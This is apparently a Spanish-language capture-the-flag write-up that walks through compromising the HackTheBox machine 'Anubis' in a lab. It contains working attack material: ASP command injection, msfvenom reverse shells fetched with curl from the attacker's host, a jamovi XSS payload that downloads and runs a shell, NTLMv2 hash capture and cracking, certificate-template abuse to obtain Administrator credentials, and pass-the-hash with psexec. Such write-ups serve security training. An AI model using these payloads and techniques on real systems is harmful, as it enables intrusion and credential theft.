xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



HackTheBox

Anubis



Enumeración


Iniciamos la máquina escaneando los puertos de la máquina con nmap donde encontramos varios puertos abiertos, entre ellos el 80 que corre un servicio http

❯ nmap -Pn 10.10.11.102
Nmap scan report for 10.10.11.102  
PORT      STATE SERVICE
135/tcp   open  msrpc
443/tcp   open  https
445/tcp   open  microsoft-ds
593/tcp   open  http-rpc-epmap
49710/tcp open  unknown

Con crackmapexec podemos obtener información de la maquina asi como el dominio que es windcorp.htb ademas del nombre de la maquina que es EARTH

❯ crackmapexec smb 10.10.11.102     
SMB         10.10.11.102   445    EARTH            [*] Windows 10.0 Build 17763 x64 (name:EARTH) (domain:windcorp.htb) (signing:True) (SMBv1:False)  

Para posibles proximos ataques o solo por comodidad agregaremos el dominio al /etc/hosts ademas el nombre de la máquina que es EARTH como otro dominio

❯ echo "10.10.11.102 windcorp.htb earth.windcorp.htb" | sudo tee -a /etc/hosts  

La página web principal tampoco nos aporta nada, solo nos devuelve un error 404

Fuzzeando subdominios con wfuzz al principal encontramos rapidamente www

❯ wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.windcorp.htb" -u https://windcorp.htb -t 100 --hh 315  
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: https://windcorp.htb/
Total requests: 4989

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000001:   200        1007 L   3245 W     46774 Ch    "www"

Agregamos el nuevo dominio al archivo /etc/hosts para que sepa a donde resolver

❯ echo "10.10.11.102 www.windcorp.htb" | sudo tee -a /etc/hosts  

Si abrimos la web en el nuevo subdominio nos muestra una página completamente diferente a la anterior, esta parece que es de una empresa llamada windcorp

Bajamos un poco y encontramos un apartado para contactar a soporte, donde podemos ingresar varios campos de contacto, llenaremos todos con valor test

Al enviar estos datos nos lleva a una página de confirmación donde a través de una preview nos refleja todos los campos que habiamos ingresado en el formulario


Access - webserver01$


Algo a probar ya que corre un IIS por detras es inyectar codigo asp ya que al ser reflejado en la preview puede que lo interprete y nos ejecute un comando

<%
Response.Write(CreateObject("WScript.Shell").exec("whoami").StdOut.ReadAll)  
%>

Este codigo asp nos ejecutara un whoami, lo enviamos en el campo de contacto

En la preview muestra el codigo que enviamos y al interpretarse nos devuelve el output del comando whoami que lo ejecuta el usuario nt authority\system

Para ganar acceso iniciamos creando un exe malicioso con msfvenom que al ejecutarse nos envie una powershell interactiva a nuestro host y lo compartimos

❯ msfvenom -p windows/x64/powershell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f exe -o shell.exe  
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 1875 bytes
Final size of exe file: 8192 bytes
Saved as: shell.exe

❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Ahora simplemente como codigo asp enviamos un payload que descargue el exe malicioso en la maquina victima y otro que lo ejecute para que nos envie la shell

<%
CreateObject("WScript.Shell").exec("curl 10.10.14.10/shell.exe -o C:\ProgramData\shell.exe")  
%>

<%
CreateObject("WScript.Shell").exec("cmd /c C:\ProgramData\shell.exe")  
%>

Al hacerlo ganamos acceso como nt authority\system en el equipo webserver01$

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.102 
Windows PowerShell running as user WEBSERVER01$ on WEBSERVER01  
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\windows\system32\inetsrv> whoami
nt authority\system
PS C:\windows\system32\inetsrv>


Access - localadmin


En el escritorio del usuario Administrator en lugar de una flag nos encontramos un archivo llamado req.txt, al leerlo nos damos cuenta que es un certificado

PS C:\Users\Administrator\Desktop> dir

    Directory: C:\Users\Administrator\Desktop

Mode                LastWriteTime         Length Name   
----                -------------         ------ ----   
-a----        5/24/2021   9:36 PM            989 req.txt

PS C:\Users\Administrator\Desktop> type req.txt
-----BEGIN CERTIFICATE REQUEST-----
MIICoDCCAYgCAQAwWzELMAkGA1UEBhMCQVUxEzARBgNVBAgMClNvbWUtU3RhdGUx  
ETAPBgNVBAoMCFdpbmRDb3JwMSQwIgYDVQQDDBtzb2Z0d2FyZXBvcnRhbC53aW5k  
Y29ycC5odGIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCmm0r/hZHC  
KsK/BD7OFdL2I9vF8oIeahMS9Lb9sTJEFCTHGxCdhRX+xtisRBvAAFEOuPUUBWKb  
BEHIH2bhGEfCenhILl/9RRCuAKL0iuj2nQKrHQ1DzDEVuIkZnTakj3A+AhvTPntL  
eEgNf5l33cbOcHIFm3C92/cf2IvjHhaJWb+4a/6PgTlcxBMne5OsR+4hc4YIhLnz  
QMoVUqy7wI3VZ2tjSh6SiiPU4+Vg/nvx//YNyEas3mjA/DSZiczsqDvCNM24YZOq  
qmVIxlmQCAK4Wso7HMwhaKlue3cu3PpFOv+IJ9alsNWt8xdTtVEipCZwWRPFvGFu  
1x55Svs41Kd3AgMBAAGgADANBgkqhkiG9w0BAQsFAAOCAQEAa6x1wRGXcDBiTA+H  
JzMHljabY5FyyToLUDAJI17zJLxGgVFUeVxdYe0br9L91is7muhQ8S9s2Ky1iy2P  
WW5jit7McPZ68NrmbYwlvNWsF7pcZ7LYVG24V57sIdF/MzoR3DpqO5T/Dm9gNyOt  
yKQnmhMIo41l1f2cfFfcqMjpXcwaHix7bClxVobWoll5v2+4XwTPaaNFhtby8A1F  
F09NDSp8Z8JMyVGRx2FvGrJ39vIrjlMMKFj6M3GAmdvH+IO/D5B6JCEE3amuxU04  
CIHwCI5C04T2KaCN4U6112PDIS0tOuZBj8gdYIsgBYsFDeDtp23g4JsR6SosEiso  
4TlwpQ==
-----END CERTIFICATE REQUEST-----
PS C:\Users\Administrator\Desktop>

Si se la pasamos a openssl para ver un poco de información en las primeras lineas nos muestra un nuevo subdominio, sin embargo desde fuera no nos muestra nada

❯ openssl req -in req.txt -text -noout | head
Certificate Request:
    Data:
        Version: 1 (0x0)
        Subject: C = AU, ST = Some-State, O = WindCorp, CN = softwareportal.windcorp.htb  
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (2048 bit)
                Modulus:
                    00:a6:9b:4a:ff:85:91:c2:2a:c2:bf:04:3e:ce:15:
                    d2:f6:23:db:c5:f2:82:1e:6a:13:12:f4:b6:fd:b1:

Tal vez hay mas equipos, al hacer un ipconfig podemos ver nuestra interfaz de red que tiene el segmento 172.21.*.* donde la puerta de entrada es la .48.1

PS C:\Users\Administrator\Desktop> ipconfig

Windows IP Configuration

Ethernet adapter vEthernet (Ethernet):

   Connection-specific DNS Suffix  . : .htb
   Link-local IPv6 Address . . . . . : fe80::10d6:39ba:1ef7:bb5f%32  
   IPv4 Address. . . . . . . . . . . : 172.21.54.239
   Subnet Mask . . . . . . . . . . . : 255.255.240.0
   Default Gateway . . . . . . . . . : 172.21.48.1

PS C:\Users\Administrator\Desktop>

Agregamos esa ip con nuevo subdominio al archivo /etc/hosts, pero algo a tener en cuenta es que no tenemos conectividad con ese equipo desde nuestro equipo

❯ echo "172.21.48.1 softwareportal.windcorp.htb" | sudo tee -a /etc/hosts  

Usando chisel creamos un tunel de tipo socks para cuando una petición se envie al puerto 1080 local logre tener alcance y conectividad con los demas equipos

PS C:\ProgramData> curl 10.10.14.10/chisel.exe -o chisel.exe
PS C:\ProgramData> .\chisel.exe client 10.10.14.10:9999 R:socks  

❯ chisel server --reverse --port 9999
server: Reverse tunnelling enabled
server: Listening on http://0.0.0.0:9999
server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening  

Pasando a través de ese proxy logramos acceder a la web que nos muestra una página web diferente a las 2 que ya habiamos visto antes desde fuera del equipo

Bajando un poco podemos ver un apartado llamado Our software donde vemos algunos programas, al hacer clic en ellos apunta a una ip y un nombre de archivo

Lo que podemos hacer es cambiar la ip por una nuestra y enviar la petición, revisando trafico con wireshark vemos que hace peticiones hacia el puerto 5985

❯ proxychains -q curl 'http://softwareportal.windcorp.htb/install.asp?client=10.10.14.10'  

El puerto 5985 pertenece a winrm asi que tal vez se esta enviando una autenticación, asi que para interceptarla corremos responder y enviamos de nuevo la petición, al hacerlo logramos capturar el hash en formato NTLMv2 del usuario localadmin

❯ sudo responder -I tun0     
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.3.0

[+] Listening for events...

[WinRM] NTLMv2 Client   : 10.10.11.102
[WinRM] NTLMv2 Username : windcorp\localadmin
[WinRM] NTLMv2 Hash     : localadmin::windcorp:1122334455667788:ECFD538F0B715A547C87ADA1A9116FD8:010100000000000099F628A94AD5D9012DA498DFBACE8D750000000002000800580049004400310001001E00570049004E002D00440048004900570054004D00300050003000310048000400140058004900440031002E004C004F00430041004C0003003400570049004E002D00440048004900570054004D00300050003000310048002E0058004900440031002E004C004F00430041004C000500140058004900440031002E004C004F00430041004C00080030003000000000000000000000000021000033B001D95924C40F55B0370B60D33C63ED50FA2B25656BF8DAE636E12F2D54C40A0010000000000000000000000000000000000009001E0048005400540050002F00310030002E00310030002E00310034002E0039000000000000000000  

La contraseña es bastante debil por lo que la crackeamos facilmente usando john

❯ john -w:/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
Secret123        (localadmin)
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably  
Session completed.

Comprobamos las credenciales con crackmapexec y son válidas a nivel de dominio

❯ crackmapexec smb windcorp.htb -u localadmin -p Secret123         
SMB         windcorp.htb     445    EARTH            [*] Windows 10.0 Build 17763 x64 (name:EARTH) (domain:windcorp.htb) (signing:True) (SMBv1:False)  
SMB         windcorp.htb     445    EARTH            [+] windcorp.htb\localadmin:Secret123


Shell - diegocruz


Listando los recursos smb compartidos con crackmapexec podemos encontrar privilegios de lectura o READ en el recurso smb con el nombre Shared

❯ crackmapexec smb windcorp.htb -u localadmin -p Secret123 --shares
SMB         windcorp.htb     445    EARTH            [*] Windows 10.0 Build 17763 x64 (name:EARTH) (domain:windcorp.htb) (signing:True) (SMBv1:False)  
SMB         windcorp.htb     445    EARTH            [+] windcorp.htb\localadmin:Secret123 
SMB         windcorp.htb     445    EARTH            [*] Enumerated shares
SMB         windcorp.htb     445    EARTH            Share           Permissions     Remark
SMB         windcorp.htb     445    EARTH            -----           -----------     ------
SMB         windcorp.htb     445    EARTH            ADMIN$                          Remote Admin
SMB         windcorp.htb     445    EARTH            C$                              Default share
SMB         windcorp.htb     445    EARTH            CertEnroll      READ            Active Directory Certificate Services share
SMB         windcorp.htb     445    EARTH            IPC$            READ            Remote IPC
SMB         windcorp.htb     445    EARTH            NETLOGON        READ            Logon server share 
SMB         windcorp.htb     445    EARTH            Shared          READ            
SMB         windcorp.htb     445    EARTH            SYSVOL          READ            Logon server share

Nos conectamos con smbclient al recurso Shared, navegando un poco entre los directorios en Analytics encontramos varios archivos .omv que son de jamovi

❯ impacket-smbclient windcorp.htb/localadmin:Secret123@earth.windcorp.htb  
Impacket v0.11.0 - Copyright 2023 Fortra

Type help for list of commands
# use Shared
# ls
drw-rw-rw-          0  Wed Apr 28 10:06:06 2021 .
drw-rw-rw-          0  Wed Apr 28 10:06:06 2021 ..
drw-rw-rw-          0  Mon Apr 26 23:09:24 2021 Documents
drw-rw-rw-          0  Thu Jul 22 13:14:16 2021 Software
# cd Documents
# ls
drw-rw-rw-          0  Mon Apr 26 23:09:24 2021 .
drw-rw-rw-          0  Mon Apr 26 23:09:24 2021 ..
drw-rw-rw-          0  Thu Apr 29 09:50:33 2021 Analytics
# cd Analytics
# ls
drw-rw-rw-          0  Thu Apr 29 09:50:33 2021 .
drw-rw-rw-          0  Thu Apr 29 09:50:33 2021 ..
-rw-rw-rw-       6455  Thu Apr 29 09:50:33 2021 Big 5.omv
-rw-rw-rw-       2897  Thu Apr 29 09:50:33 2021 Bugs.omv
-rw-rw-rw-       2142  Thu Apr 29 09:50:33 2021 Tooth Growth.omv
-rw-rw-rw-       2841  Tue Aug 22 16:50:12 2023 Whatif.omv
# mget *
[*] Downloading Big 5.omv
[*] Downloading Bugs.omv
[*] Downloading Tooth Growth.omv
[*] Downloading Whatif.omv
#

Algo a tener en cuenta es que todos los usuarios tienen privilegios FULL en este directorio especifico por lo que podemos escribir archivos en el recurso

❯ smbcacls -U localadmin%Secret123 "//windcorp.htb/Shared" "Documents/Analytics"  
REVISION:1
CONTROL:SR|DI|DP
OWNER:WINDCORP\DiegoCruz
GROUP:WINDCORP\Domain Users
ACL:BUILTIN\Users:ALLOWED/OI|CI/FULL
ACL:NT AUTHORITY\SYSTEM:ALLOWED/OI|CI|I/FULL
ACL:BUILTIN\Administrators:ALLOWED/OI|CI|I/FULL
ACL:BUILTIN\Users:ALLOWED/OI|CI|I/READ
ACL:BUILTIN\Users:ALLOWED/CI|I/0x00000004
ACL:BUILTIN\Users:ALLOWED/CI|I/0x00000002
ACL:WINDCORP\DiegoCruz:ALLOWED/I/FULL
ACL:CREATOR OWNER:ALLOWED/OI|CI|IO|I/0x10000000

Buscando vulnerabilidades de jamovi llegamos al poc de un CVE que mediante un XSS logra conseguir RCE, iniciamos unzipeando uno de los archivos .omv

❯ unzip Whatif.omv
Archive:  Whatif.omv
  inflating: META-INF/MANIFEST.MF  
  inflating: index.html
  inflating: metadata.json
  inflating: xdata.json
  inflating: data.bin
  inflating: 01 empty/analysis

La vulnerabilidad esta en el archivo metadata.json, el campo name de dataSet.fields, simplemente cambiamos el nombre por un payload de XSS que cargue un .js

❯ cat metadata.json | jq | head  
{
  "dataSet": {
    "rowCount": 150,
    "columnCount": 5,
    "removedRows": [],
    "addedRows": [],
    "fields": [
      {
        "name": "Sepal.Length",
        "id": 1,

❯ cat metadata.json | jq | head
{
  "dataSet": {
    "rowCount": 150,
    "columnCount": 5,
    "removedRows": [],
    "addedRows": [],
    "fields": [
      {
        "name": "<script src=\"http://10.10.14.10/pwned.js\"></script>",  
        "id": 1,

Una vez modificado el archivo json podemos volver a comprimirlo usando zip

❯ zip -r Whatif.omv .
  adding: META-INF/ (stored 0%)
  adding: META-INF/MANIFEST.MF (deflated 30%)  
  adding: metadata.json (deflated 78%)
  adding: data.bin (deflated 84%)
  adding: xdata.json (deflated 33%)
  adding: 01 empty/ (stored 0%)
  adding: 01 empty/analysis (deflated 8%)
  adding: index.html (deflated 67%)

Ya que podemos escribir en el directorio Analytics subimos nuestro archivo omv modificado y esperamos a que el usuario lo ejecute y cargue nuestro .js

❯ impacket-smbclient windcorp.htb/localadmin:Secret123@earth.windcorp.htb  
Impacket v0.11.0 - Copyright 2023 Fortra

Type help for list of commands
# use Shared
# cd Documents\Analytics
# put Whatif.omv
#

Creamos el js que interpretara con el XSS, sera uno que ejecute un comando el cual descargara nuestro exe malicioso y lo ejecutara para enviarmos una powershell

❯ cat pwned.js
require('child_process').exec('curl 10.10.14.10/shell.exe -o C:\\ProgramData\\shell.exe && C:\\ProgramData\\shell.exe')  

❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Despues de unos segundos recibimos 2 peticiones, la primera del XSS que hace una petición a pwned.js y cuando lo interpreta descarga el archivo shell.exe

❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...  
10.10.11.102 - - "GET /pwned.js HTTP/1.1" 200 -
10.10.11.102 - - "GET /shell.exe HTTP/1.1" 200 -

Una vez descarga y ejecuta el shell.exe recibimos una shell como diegocruz

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.102 
Windows PowerShell running as user diegocruz on EARTH
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows\System32> whoami
windcorp\diegocruz
PS C:\Windows\System32> type C:\Users\diegocruz\Desktop\user.txt  
f1c**************************dce
PS C:\Windows\System32>


Shell - Administrator


Entre los recursos smb podiamos ver CertEnroll que pertenece a los servicios de ADCS, usando Certify podemos buscar templates vulnerables para el usuario actual

PS C:\ProgramData> .\Certify.exe find /vulnerable /currentuser

   _____          _   _  __
  / ____|        | | (_)/ _|
 | |     ___ _ __| |_ _| |_ _   _
 | |    / _ \ '__| __| |  _| | | |
 | |___|  __/ |  | |_| | | | |_| |
  \_____\___|_|   \__|_|_|  \__, |
                             __/ |
                            |___./
  v1.1.0

[*] Action: Find certificate templates
[*] Using current user's unrolled group SIDs for vulnerability checks.
[*] Using the search base 'CN=Configuration,DC=windcorp,DC=htb' 

[*] Listing info about the Enterprise CA 'windcorp-CA'

    Enterprise CA Name            : windcorp-CA 
    DNS Hostname                  : earth.windcorp.htb
    FullName                      : earth.windcorp.htb\windcorp-CA
    Flags                         : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
    Cert SubjectName              : CN=windcorp-CA, DC=windcorp, DC=htb 
    Cert Thumbprint               : 280458EB20AE6B8A8FFE9B428A5078094F91B3E8
    Cert Serial                   : 3645930A75C5C8BA4AAC0A5C883DEE60
    Cert Start Date               : 5/24/2021 7:48:07 PM
    Cert End Date                 : 5/24/2036 7:58:07 PM
    Cert Chain                    : CN=windcorp-CA,DC=windcorp,DC=htb
    UserSpecifiedSAN              : Disabled
    CA Permissions                :
      Owner: BUILTIN\Administrators        S-1-5-32-544

      Access Rights                                     Principal

      Allow  Enroll                                     NT AUTHORITY\Authenticated UsersS-1-5-11
      Allow  ManageCA, ManageCertificates               BUILTIN\Administrators        S-1-5-32-544
      Allow  ManageCA, ManageCertificates               WINDCORP\Domain Admins        S-1-5-21-3510634497-171945951-3071966075-512  
      Allow  ManageCA, ManageCertificates               WINDCORP\Enterprise Admins    S-1-5-21-3510634497-171945951-3071966075-519  
    Enrollment Agent Restrictions : None

[+] No Vulnerable Certificates Templates found!

    CA Name                               : earth.windcorp.htb\windcorp-CA
    Template Name                         : Web
    Schema Version                        : 2
    Validity Period                       : 10 years
    Renewal Period                        : 6 weeks
    msPKI-Certificate-Name-Flag          : ENROLLEE_SUPPLIES_SUBJECT
    mspki-enrollment-flag                 : PUBLISH_TO_DS
    Authorized Signatures Required        : 0
    pkiextendedkeyusage                   : Server Authentication
    mspki-certificate-application-policy  : Server Authentication
    Permissions
      Enrollment Permissions
        Enrollment Rights           : WINDCORP\Domain Admins        S-1-5-21-3510634497-171945951-3071966075-512
                                      WINDCORP\Enterprise Admins    S-1-5-21-3510634497-171945951-3071966075-519
        All Extended Rights         : WINDCORP\webdevelopers        S-1-5-21-3510634497-171945951-3071966075-3290
      Object Control Permissions
        Owner                       : WINDCORP\Administrator        S-1-5-21-3510634497-171945951-3071966075-500
        Full Control Principals     : WINDCORP\webdevelopers        S-1-5-21-3510634497-171945951-3071966075-3290
        WriteOwner Principals       : WINDCORP\Administrator        S-1-5-21-3510634497-171945951-3071966075-500
                                      WINDCORP\Domain Admins        S-1-5-21-3510634497-171945951-3071966075-512
                                      WINDCORP\Enterprise Admins    S-1-5-21-3510634497-171945951-3071966075-519
                                      WINDCORP\webdevelopers        S-1-5-21-3510634497-171945951-3071966075-3290
        WriteDacl Principals        : WINDCORP\Administrator        S-1-5-21-3510634497-171945951-3071966075-500
                                      WINDCORP\Domain Admins        S-1-5-21-3510634497-171945951-3071966075-512
                                      WINDCORP\Enterprise Admins    S-1-5-21-3510634497-171945951-3071966075-519
                                      WINDCORP\webdevelopers        S-1-5-21-3510634497-171945951-3071966075-3290
        WriteProperty Principals    : WINDCORP\Administrator        S-1-5-21-3510634497-171945951-3071966075-500
                                      WINDCORP\Domain Admins        S-1-5-21-3510634497-171945951-3071966075-512
                                      WINDCORP\Enterprise Admins    S-1-5-21-3510634497-171945951-3071966075-519
                                      WINDCORP\webdevelopers        S-1-5-21-3510634497-171945951-3071966075-3290

PS C:\ProgramData>

Encontramos el template Web vulnerable para el ca windcorp-CA, podemos explotarlo ya que como Owner tiene al grupo webdevelopers al que pertenecemos

PS C:\ProgramData> Get-ADPrincipalGroupMembership DiegoCruz | Select Name  

Name         
----         
Domain Users 
webdevelopers

PS C:\ProgramData>

Podriamos usar el modulo ADCS.ps1 sin embargo hay un problema con el UPN y es que los UPN de todos los usuarios tienen errores como diegocruz que tiene .thm

$TargetUPN = $user.userprincipalname

PS C:\ProgramData> Get-DomainUser DiegoCruz | Select UserPrincipalName  

userprincipalname       
-----------------       
Diego.Cruz@windcorp.thm 

PS C:\ProgramData>

El de Administrator tampoco esta funcional asi que en lugar del UPN usaremos el samaccountname que siempre contiene solo el nombre de usuario sin errores

$TargetUPN = $user.samaccountname

PS C:\ProgramData> Get-DomainUser DiegoCruz | Select SamAccountName  

samaccountname      
--------------      
DiegoCruz

PS C:\ProgramData>

Una vez modificado descargamos e importamos el modulo además del PowerView

PS C:\ProgramData> curl 10.10.14.10/PowerView.ps1 -o PowerView.ps1  
PS C:\ProgramData> curl 10.10.14.10/ADCS.ps1 -o ADCS.ps1
PS C:\ProgramData> Import-Module .\PowerView.ps1
PS C:\ProgramData> Import-Module .\ADCS.ps1
PS C:\ProgramData>

Ahora con la funcion de ADCS.ps1 generamos la solicitud de certificado a la CA pasandole el template vulnerable y el usuario objetivo que sera Administrator

PS C:\ProgramData> Get-SmartCardCertificate -Identity Administrator -TemplateName Web -NoSmartCard  
PS C:\ProgramData>

Después de hacer eso en los certificados del usuario actual aparecera uno nuevo

PS C:\ProgramData> dir Cert:\CurrentUser\My

   PSParentPath: Microsoft.PowerShell.Security\Certificate::CurrentUser\My  

Thumbprint                                Subject
----------                                -------
18592151042BBBA86D2BDEEAD0D925319617AA34

PS C:\ProgramData>

Finalmente con Rubeus podemos pedir un TGT como el usuario Administrator aprovechando el certificado que obtuvimos y con /getcredentials vemos su hash

PS C:\ProgramData> .\Rubeus.exe asktgt /user:Administrator /certificate:18592151042BBBA86D2BDEEAD0D925319617AA34 /getcredentials  

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.3

[*] Action: Ask TGT 

[*] Using PKINIT with etype rc4_hmac and subject:   
[*] Building AS-REQ (w/ PKINIT preauth) for: 'windcorp.htb\Administrator'
[*] Using domain controller: fe80::a164:1a09:4f17:c177%11:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

      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

  ServiceName              :  krbtgt/windcorp.htb
  ServiceRealm             :  WINDCORP.HTB
  UserName                 :  Administrator (NT_PRINCIPAL)
  UserRealm                :  WINDCORP.HTB
  StartTime                :  8/23/2023 2:55:45 AM
  EndTime                  :  8/23/2023 12:55:45 PM
  RenewTill                :  8/30/2023 2:55:45 AM
  Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType                  :  rc4_hmac
  Base64(key)              :  0gyXDVOKVxUJ1ZOmmCtyRg==
  ASREP (key)              :  CB252D96A6E974533C0FF2170187FE68

[*] Getting credentials using U2U

  CredentialInfo         :
    Version              : 0
    EncryptionType       : rc4_hmac
    CredentialData       :
      CredentialCount    : 1
       NTLM              : 3CCC18280610C6CA3156F995B5899E09

PS C:\ProgramData>

Comprobamos con crackmapexec el hash NT de Administrator y devuelve Pwn3d!

❯ crackmapexec smb windcorp.htb -u Administrator -H 3CCC18280610C6CA3156F995B5899E09
SMB         windcorp.htb     445    EARTH            [*] Windows 10.0 Build 17763 x64 (name:EARTH) (domain:windcorp.htb) (signing:True) (SMBv1:False)  
SMB         windcorp.htb     445    EARTH            [+] windcorp.htb\Administrator:3CCC18280610C6CA3156F995B5899E09 (Pwn3d!)

Haciendo uso de psexec podemos obtener una cmd como nt authority\system donde podemos leer finalmente la flag del usuario Administrator en su escritorio

❯ impacket-psexec windcorp.htb/Administrator@earth.windcorp.htb -hashes :3CCC18280610C6CA3156F995B5899E09  
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Requesting shares on earth.windcorp.htb.....
[*] Found writable share ADMIN$
[*] Uploading file caZMBxbg.exe
[*] Opening SVCManager on earth.windcorp.htb.....
[*] Creating service niHR on earth.windcorp.htb.....
[*] Starting service niHR.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.2114]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
ce5**************************1cc

C:\Windows\system32>

Si quisieramos conectarnos al servicio de winrm necesitariamos pasar por el proxy que creamos antes por chisel, asi obtenemos una powershell mas estable

❯ proxychains -q evil-winrm -i 172.21.48.1 -u Administrator -H 3CCC18280610C6CA3156F995B5899E09  
PS C:\Users\Administrator\Documents> whoami
windcorp\administrator
PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt
ce5**************************1cc
PS C:\Users\Administrator\Documents>


Extra - Administrator


Como alternativa podemos usar noPac, al explotarlo indicando el parametro -shell nos otorgara una cmd como el usuario nt authority\system directamente en el DC

❯ proxychains -q python3 noPac.py windcorp.htb/localadmin:Secret123 -shell -dc-ip 172.21.48.1

███    ██  ██████  ██████   █████   ██████
████   ██ ██    ██ ██   ██ ██   ██ ██
██ ██  ██ ██    ██ ██████  ███████ ██
██  ██ ██ ██    ██ ██      ██   ██ ██
██   ████  ██████  ██      ██   ██  ██████

[*] Current ms-DS-MachineAccountQuota = 10
